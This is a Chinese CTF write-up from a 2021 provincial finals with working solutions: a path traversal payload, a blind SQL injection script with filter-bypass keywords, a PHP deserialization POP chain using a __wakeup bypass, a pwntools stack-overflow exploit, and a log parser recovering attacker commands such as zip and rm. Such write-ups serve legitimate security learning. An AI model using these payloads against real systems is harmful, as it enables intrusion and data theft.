2021省赛决赛题解

总结

本次比赛最终rank21,幸而拿到省赛一等奖最后一名。pwn题签到拿下二血,re签到拿下还是好的,但是pwn少拿了一道有点可惜。最终还是靠学长ak web才拿下的省一,希望学长明年还能带我。下面放出本次比赛提交的wp,misc和cry因为没有留下图片(就是wps复制过来的,导出pdf之后交了,后面word删了图片也就没了)。

Web

远古特性

换行绕过

1
hint/hint.txt%0a../../../../../../flag

just login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://8fd95e2e-9d91-45b1-8ba9-d41be0125b3f.zj-ctf.dasctf.com:80/login"
flag = ''
data = {"username": "123' oorr 1=1 -- ", "password": "1"}
res = requests.post(url, data=data)
for i in range(1, 500):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
data[
'username'] = "1' oorr substr((sselectelect grogroupup_coonncat(username) frfromom users),{},1)>'{}' -- ".format(
i, chr(mid))
res = requests.post(url, data=data)
if 'Failed' in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag = flag + chr(mid)
print(flag)

跑跑脚本完事

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = "http://8fd95e2e-9d91-45b1-8ba9-d41be0125b3f.zj-ctf.dasctf.com:80/login"
flag = ''
data = {"username": "123' oorr 1=1 -- ", "password": "1"}
res = requests.post(url, data=data)
for i in range(1, 500):
low = 1
high = 128
mid = (low + high) // 2
while low < high:
data[
'username'] = "1' oorr substr((sselectelect grgroupoup_coonncat(sql) frfromom sqlite_maasster),{},1)>'{}' -- ".format(
i, chr(mid))
res = requests.post(url, data=data)
if 'Failed' in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
# if mid == 32 or mid == 127:
# break
flag = flag + chr(mid)
print(flag)

print('\n' + bytes.fromhex(flag).decode())

Safepop

pop链是Test::getFlag()<- Fun:__call() <- A:__get() <- B:__destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class Fun
{
public $func;

public function __construct()
{
$this->func = array("Test", "getFlag");
}
}


class A
{
public $a;

public function __construct()
{
$this->a = new Fun();
}
}

class B
{
public $p;
public $a;

public function __construct()
{
$this->a = new A();
$this->p = 'aaa';//传给__get的参数
}

}

/*
* Test::getFlag()<- Fun:__call() <- A:__get() <- B:__destruct()
*/
$b = new B();
echo serialize($b);

然后利用PHP Bug 72663来绕过__wakeup。虽然版本是大于7.0.10,但还是可以,不知道为什么。

把payload的对象数改一下,改为:

1
O:1:"B":3:{s:1:"p";s:3:"aaa";s:1:"a";O:1:"A":2:{s:1:"a";O:3:"Fun":2:{s:4:"func";a:2:{i:0;s:4:"Test";i:1;s:7:"getFlag";}}}}

打入,结束。

PWN

pwn1

strcat 栈溢出,利用已经有的后门cat flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.os='linux'
def conn(x,file_name):
if x:
p=process(file_name)
libc=ELF('./libc/libc-2.23-64.so')
else:
p=remote('89563411-fd49-4df0-a394-13757851c159.zj-ctf.dasctf.com',54500)
libc=ELF('./libc/libc-2.23-buu64.so')
return ELF(file_name),libc,p
elf,libc,p=conn(0,'./sai_easy_pwn')

shell=0x40098e
username=b'a'*0x30
pwd=b'a'*24+p64(shell)

p.sendafter(b'username:',username)
p.sendafter(b'password',pwd)


#gdb.attach(p)
p.interactive()

RE

最简单的逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<bits/stdc++.h>
using namespace std;
unsigned char enc[] =
{
0x76, 0x73, 0x85, 0x75, 0x86, 0x78, 0xAD, 0x6B, 0x97, 0x68,
0x98, 0x67, 0x64, 0x64, 0x62, 0x97, 0x68, 0x98, 0x6B, 0x6B,
0x96, 0x67, 0x62, 0x69, 0x95, 0x96, 0x65, 0x96, 0x6A, 0x69,
0x69, 0x65, 0x66, 0x97, 0x68, 0x98, 0x6A, 0x95, 0x68, 0xAF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
int main(){
for (int i = 0; i <= 39; ++i ){
enc[i]-=50;


}
printf("%s",enc);

}

Crypto

decode_and_decode

利用工具直接解

MISC

asoul_lover

结合题目描述及pdf信息搜集,压缩包密码直接解

site_log

查看log,在evil.php所有一些命令。跑脚本跑出所有。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import gmpy2
import binascii
import re

file = 'my_site.log'
p = 'vil.php\?attack=(.*) HTTP/1.1'
s = []
with open(file, 'r') as f:
while True:
data = f.readline()
if data:
out = re.findall(p, data)
if not out:
continue
s.append(out[0])
else:
break
print(s)
with open('log.txt', 'w+') as f:
for i in s:
f.write(str(i + "\n"))

然后打印看看哪些有用的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
print(chr(108), chr(115)
, chr(99), chr(100), chr(32), chr(47)
, chr(108), chr(115)
, chr(99), chr(97), chr(116), chr(32), chr(102), chr(108), chr(97), chr(103)
, chr(119), chr(104), chr(111), chr(97), chr(109), chr(105)
, chr(122), chr(105), chr(112)
, chr(122), chr(105), chr(112), chr(32), chr(45), chr(114), chr(80), chr(32), chr(104), chr(101), chr(104),
chr(101), chr(104), chr(101), chr(50), chr(51), chr(51), chr(95), chr(73), chr(103), chr(111), chr(116), chr(114),
chr(111), chr(111), chr(116), chr(65281), chr(32), chr(102), chr(108), chr(97), chr(103), chr(46), chr(122),
chr(105), chr(112), chr(32), chr(102), chr(108), chr(97), chr(103)
, chr(114), chr(109), chr(32), chr(102), chr(108), chr(97), chr(103)
, chr(101), chr(99), chr(104), chr(111), chr(32), chr(34), chr(73), chr(32), chr(65), chr(77), chr(32), chr(82),
chr(79), chr(79), chr(84), chr(33), chr(33), chr(33), chr(33), chr(34)
)

1
z i p   - r P   h e h e h e 2 3 3 _ I g o t r o o t !   f l a g . z i p

拿到压缩包密码,结束。